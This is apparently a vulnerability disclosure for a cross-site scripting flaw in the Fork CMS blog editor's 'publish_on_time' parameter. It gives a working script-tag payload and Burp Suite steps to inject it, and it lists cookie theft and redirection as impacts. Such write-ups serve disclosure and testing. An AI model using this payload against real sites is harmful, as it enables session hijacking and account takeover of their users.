Vulnerable Parameter: publish_on_time
XSS payload: 17:59'"()&%<yes><ScRiPt >alert(1)</ScRiPt>
1- Login to Fork admin panel
2- Goto Modules=>Blog=>Edit
3- Turn on Burp Intercept
4- Click on "Publish"
5- Change value of "publish_on_time" parameter to 17:59'"()&%<yes><ScRiPt >alert(1)</ScRiPt>
6- Forward the request and XSS will be triggered
With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeover and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.